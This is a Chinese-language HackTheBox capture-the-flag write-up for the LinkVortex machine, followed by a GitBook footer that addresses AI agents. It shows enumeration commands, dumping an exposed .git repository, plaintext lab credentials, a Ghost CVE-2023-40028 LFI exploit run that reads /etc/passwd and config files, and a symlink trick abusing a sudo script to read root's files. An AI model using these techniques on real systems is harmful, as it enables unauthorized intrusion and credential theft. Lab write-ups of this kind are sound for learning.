> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/linkvortex-hackthebox-writeup.md).

# LinkVortex HackTheBox 解题报告

{% embed url="<https://app.hackthebox.com/machines/638>" %}

{% hint style="warning" %}
**技能：**

* 子域枚举
* 从 .git 目录中提取信息（Git-Dumper）
* 信息泄露
* LFI 利用（Ghost）
* 通过脚本滥用 Sudo 权限（双重符号链接）
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/d3dc033ff914201ef8b79e42b71391ce26afb824" alt=""><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/954e52494cd4273d03cfee96688ce4486aeff75f" alt=""><figcaption></figcaption></figure>

**/etc/hosts 文件的配置**

我们将目标的 IP 地址添加到我们的 `/etc/hosts` 文件中，以便进行本地 DNS 解析。

<figure><img src="/files/a0abb65d2bbc641bdeff198521235e3cab5fb363" alt=""><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件：

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 linkvortex.htb -oG allPorts
```

<figure><img src="/files/54af88ed1b5c67233a8afc6c85ddb1b8df736f95" alt=""><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口并将其复制到剪贴板（22.80）

<figure><img src="/files/5727ad9dc696805ec44ef61854f688f6e74693f2" alt=""><figcaption></figcaption></figure>

### **80 端口**

<figure><img src="/files/3954dbfee9a075ebfa24dd594116b73784e8787c" alt=""><figcaption></figcaption></figure>

**使用 Nmap 进行端口版本扫描：**

使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中：

```bash
nmap -sCV -p22,80 linkvortex.htb -oN targeted
```

<figure><img src="/files/bad250d0c47ff35269dcc244fa7c1caa21883873" alt=""><figcaption></figcaption></figure>

### **目录枚举**

```bash
wfuzz -c -t 100 --hc=404,301 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt http://linkvortex.htb/FUZZ/
```

<figure><img src="/files/8e73e20cb74550b0d1cd022a5cb6c31d412e4448" alt=""><figcaption></figcaption></figure>

### Ghost 管理面板

<figure><img src="/files/723189091318d74a92b53eb0b109fd788573b961" alt=""><figcaption></figcaption></figure>

### **发现一个子域**

我们搜索与以下内容相关的子域 `linkvortex.htb` ，使用 gobuster。

```bash
gobuster vhost -u http://linkvortex.htb --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100
```

我们找到了子域 `dev.linkvortex.htb`。以下是执行此搜索的命令：

<figure><img src="/files/9dcfade6ecf13a6c99eeb9eac227620c06337f6c" alt=""><figcaption></figcaption></figure>

一旦找到该子域，我们就将其添加到 `/etc/hosts` 文件中，以便更方便地访问：

<figure><img src="/files/d243586538ce99bee894d134e0a4e0cef336cfba" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/0bbe9fd568861529638ecd88a52e5062c52816c9" alt=""><figcaption></figcaption></figure>

#### **在新子域中搜索目录**

我们在该 `dev.linkvortex.htb` 子域上搜索现有目录，使用 `gobuster`:

```bash
gobuster dir -u http://dev.linkvortex.htb/ -w /usr/share/SecLists/Discovery/Web-Content/common.txt -t 100
```

我们发现了 `.git` 目录，这可能表明存在一个暴露的 Git 仓库。

<figure><img src="/files/3ab9a9c56b9d7fdbebb7230374752f6db25e3f9c" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/11fa389bf7d3bca6f24b3467241fcc79dead5a72" alt=""><figcaption></figcaption></figure>

### **使用 Git-Dumper 提取文件**

我们使用 `git-dumper` 工具从 `.git` 目录中提取文件并进行分析：

```git
git-dumper http://dev.linkvortex.htb/.git .git
```

<figure><img src="/files/46495e886aa6e4530f7926a5106d137a17c20ee6" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/8515f90bd1f8710c72f50b0019271e81cca12470" alt=""><figcaption></figcaption></figure>

这使我们能够获取敏感文件，包括位于 `ghost/core/test/regression/api/admin/authentication.test.js`中的一个测试文件，在那里我们找到了一个密码：

<figure><img src="/files/04d2ab9c59686895c65bd14877d7ab072fe1c9cf" alt=""><figcaption></figcaption></figure>

**找到的密码：**

```parser
OctopiFociPilfer45
```

<figure><img src="/files/94e47806f8afdf9bdff1c021abf4162762754d6c" alt=""><figcaption></figcaption></figure>

### **登录 Ghost 管理面板**

有了这个密码，我们尝试使用 `admin@linkvortex.htb` 电子邮件地址连接到 Ghost 管理面板：

* **电子邮件** : `admin@linkvortex.htb`
* **密码**: `OctopiFociPilfer45`

<figure><img src="/files/7ab7cb2ffd17fc6bf79733597615b2643f90a048" alt=""><figcaption></figcaption></figure>

## Ghost 漏洞 - LFI

{% embed url="<https://github.com/0xyassine/CVE-2023-40028>" %}

<figure><img src="/files/e6212814482e307557e3f0f38ca104215ccc0195" alt=""><figcaption></figcaption></figure>

> 在端口扫描期间，我们确定所使用的 Ghost 版本（v5.58）存在 LFI（本地文件包含）漏洞，CVE-2023-40028 可用于识别该漏洞。为了利用此漏洞，我们下载漏洞利用脚本并修改目标 URL 以指向我们的 Ghost 实例。

<figure><img src="/files/a0e4625bf1b8303f99db60be55b00f1280a4eb6f" alt=""><figcaption></figcaption></figure>

以下是运行该漏洞利用的命令：

```bash
./LFI.sh -u admin@linkvortex.htb -p OctopiFociPilfer45
```

随后我们获得一个 shell，并可以显示诸如 `/etc/passwd`.

<figure><img src="/files/4d33e9677e5a93bf4ff75de87b595ae93e2f6b69" alt=""><figcaption></figcaption></figure>

**通过 LFI 访问内部路由**

在 `.git` 目录中，我们发现了一个 Docker 文件，它为我们提供了一个访问会话的内部路由： `/var/lib/ghost/config.production.json`.

<figure><img src="/files/4585b442f1698b028f6033e5d1bbbf05b60d0bbc" alt=""><figcaption></figcaption></figure>

我们使用 LFI 列出文件，并找到了一个名为 Bob 的用户的凭据：

<figure><img src="/files/ef56674c8e6ec5da9b1e4c0e5b44a8e750f47e03" alt=""><figcaption></figcaption></figure>

**Bob 的凭据：**

* **用户**: `bob@linkvortex.htb`
* **密码**: `fibber-talented-worth`

我们使用 Bob 的凭据通过 SSH 连接到目标机器：

### user.txt 标志 :)

我们使用该密码 `fibber-talented-worth` 登录并访问文件 `user.txt`，在其中我们找到了 flag。

<figure><img src="/files/a9d13bb8a7617b369fd61b076722a1add67f971f" alt=""><figcaption></figcaption></figure>

## root.txt flag :)

### SUDO - Clean/\_synLink.sh

我们正在寻找一个允许提权的漏洞。我们发现了一个具有 SUID 权限的文件。

<figure><img src="/files/160168ade4206afac4020a8cee1f1e22524d81c0" alt=""><figcaption></figcaption></figure>

#### **符号链接清理脚本分析**

> 我们分析了一个名为 `clean_symlink.sh`的脚本，它会检查作为参数提供的文件是否是一个指向 `.png` 文件的符号链接。如果该符号链接指向一个关键文件，脚本会将其删除。否则，它会将该符号链接移动到 `/var/quarantined/` 目录中。如果 `CHECK_CONTENT` 环境变量被设置为 `true`，脚本会尝试读取该文件的内容。

以下是创建利用所需符号链接的命令：

```bash
ln -s /root/root.txt flag.txt
ln -s /home/bob/flag.txt flag.png
```

然后我们运行以下命令来获取 root flag：

```bash
sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/flag.png 
```

因此我们获得了 `root.txt` flag。

<figure><img src="/files/2a79ddf7f6ff073da8a7f8bde92afa1e6c3cf4ea" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/41113ba412d19dc130490b7b9d7d1ff5b6288b26" alt="" width="524"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/linkvortex-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
